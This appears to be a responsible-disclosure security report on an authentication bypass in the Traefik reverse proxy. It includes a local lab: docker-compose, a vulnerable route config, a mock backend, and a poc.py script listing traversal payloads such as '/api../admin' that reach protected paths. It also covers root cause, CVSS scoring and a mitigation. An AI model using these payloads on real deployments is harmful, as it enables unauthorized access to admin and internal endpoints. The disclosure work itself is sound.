Lab Contrast

Vulnerable Configuration Pattern

The issue appears when:

• a broad public route strips a prefix
• while a separate protected route is intended to guard internal/admin paths

http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

Observed Behavior

Direct Protected Paths

These are correctly blocked.

Expected Public Exclusions

These do not expose protected backend paths.

Bypass Payloads

These reach protected backend paths.

Minimal PoC

docker-compose.yml

services:
  traefik:
    image: traefik:v3.7
    command:
      - --providers.file.filename=/etc/traefik/dynamic.yml
      - --entrypoints.web.address=:8080
      - --accesslog=true
    ports:
      - "127.0.0.1:18080:8080"
    volumes:
      - ./dynamic.yml:/etc/traefik/dynamic.yml:ro
    depends_on:
      - backend

  backend:
    image: python:3.12-slim
    working_dir: /app
    command: python backend.py
    volumes:
      - ./backend.py:/app/backend.py:ro
    expose:
      - "9000"

dynamic.yml

http:
  routers:
    public-api:
      rule: 'PathPrefix(`/api`) && !PathPrefix(`/api/admin`) && !PathPrefix(`/api/internal`)'
      entryPoints:
        - web
      middlewares:
        - strip-api
      service: backend

    protected:
      rule: 'PathPrefix(`/admin`) || PathPrefix(`/internal`)'
      entryPoints:
        - web
      middlewares:
        - auth
      service: backend

  middlewares:
    strip-api:
      stripPrefix:
        prefixes:
          - /api

    auth:
      basicAuth:
        users:
          - 'test:$apr1$H6uskkkW$IgXLP6ewTrSuBkTrqE8wj/'

  services:
    backend:
      loadBalancer:
        servers:
          - url: http://backend:9000

backend.py

from http.server import BaseHTTPRequestHandler, HTTPServer
import json

class Handler(BaseHTTPRequestHandler):
    def log_message(self, fmt, *args):
        return

    def _json(self, status, obj):
        body = json.dumps(obj).encode()
        self.send_response(status)
        self.send_header("Content-Type", "application/json")
        self.send_header("Content-Length", str(len(body)))
        self.end_headers()
        self.wfile.write(body)

    def do_GET(self):
        if self.path == "/admin":
            self._json(200, {
                "seen_path": self.path,
                "secret": "ADMIN_SECRET_REACHED"
            })
        elif self.path == "/internal/config":
            self._json(200, {
                "seen_path": self.path,
                "secret": "TRAEFIK_LAB_INTERNAL_CONFIG"
            })
        elif self.path == "/admin/exec":
            self._json(200, {
                "seen_path": self.path,
                "rce_chain_marker": True,
                "note": "protected execution endpoint reached"
            })
        else:
            self._json(404, {
                "seen_path": self.path,
                "secret": None
            })

HTTPServer(("0.0.0.0", 9000), Handler).serve_forever()

poc.py

#!/usr/bin/env python3
from urllib.request import Request, urlopen
from urllib.error import HTTPError

BASE = "http://127.0.0.1:18080"

PATHS = [
    "/admin",
    "/internal/config",
    "/api/admin",
    "/api/internal/config",
    "/api../admin",
    "/api%2e%2e/admin",
    "/api../internal/config",
    "/api%2e%2e/internal/config",
    "/admin/exec",
    "/api/admin/exec",
    "/api../admin/exec",
    "/api%2e%2e/admin/exec",
]

for path in PATHS:
    req = Request(BASE + path)
    try:
        with urlopen(req, timeout=5) as r:
            status = r.status
            body = r.read().decode(errors="replace")
    except HTTPError as e:
        status = e.code
        body = e.read().decode(errors="replace")

    print(f"{path:28} {status} {body[:180]}")

Run

docker compose up -d
python3 poc.py

Expected Vulnerable Output

/admin                       401
/internal/config             401
/api/admin                   404
/api/internal/config         404
/api../admin                 200  backend seen_path=/admin
/api%2e%2e/admin             200  backend seen_path=/admin
/api../internal/config       200  backend seen_path=/internal/config
/api%2e%2e/internal/config   200  backend seen_path=/internal/config
/api../admin/exec            200  protected execution endpoint reached
/api%2e%2e/admin/exec        200  protected execution endpoint reached

Root Cause Hypothesis

The vulnerable behavior appears to be caused by path normalization after prefix stripping.

Incoming path:              /api../admin
After StripPrefix("/api"):  /../admin
After JoinPath():           /admin

The request does not match the protected /admin router at the routing stage, but the backend receives /admin after normalization.

The relevant behavior appears related to StripPrefix calling req.URL.JoinPath() after removing the prefix in newer versions.

Security Impact

An unauthenticated network attacker can bypass intended Traefik route-level authentication/authorization boundaries and access backend paths that the operator intended to protect with a separate protected router.

Potential impact includes:

• Access to protected admin paths
• Access to internal configuration endpoints
• Exposure of secrets returned by internal backends
• Access to protected backend management functionality
• Conditional RCE if the protected backend exposes an execution primitive

In the local lab, a protected /admin/exec endpoint was reachable through /api../admin/exec, demonstrating a conditional RCE chain when the backend contains an execution primitive.

This is not a standalone Traefik RCE claim. It is an authentication/authorization boundary bypass that can expose protected backend functionality.

Suggested Severity

Suggested CVSS is 10.0 Critical with Scope Changed, because the bypass crosses the Traefik route-level authorization boundary and exposes protected backend functionality.

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N

Scope Changed was selected because the request bypasses Traefik's route-level authorization boundary and reaches backend paths that are intended to be protected by a separate authenticated router.

If the vendor treats Traefik and the backend as the same security scope, the score may be interpreted as 9.1 Critical with Scope Unchanged:

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

The issue was submitted with the stronger Scope Changed interpretation, but the maintainers may adjust the final CVSS score during triage.

Weakness

Primary CWE:

• CWE-863: Incorrect Authorization

Related weakness candidates:

• CWE-180: Incorrect Behavior Order: Validate Before Canonicalize
• CWE-22: Improper Limitation of a Pathname to a Restricted Directory

Mitigation Verified in Lab

The bypass was blocked when using a stricter prefix boundary:

PathRegexp(`^/api(/|$)`)

or:

PathPrefix(`/api/`) with StripPrefix(`/api/`)

Relation to Existing Advisories

This appears related to the same vulnerability family as prior Traefik path normalization / StripPrefixRegex bypass advisories, but it affects StripPrefix and remains reproducible on patched/latest versions tested above.

This was reported as a possible incomplete fix or bypass variant rather than assuming it is a duplicate.

Reporter

WonYun / kyun0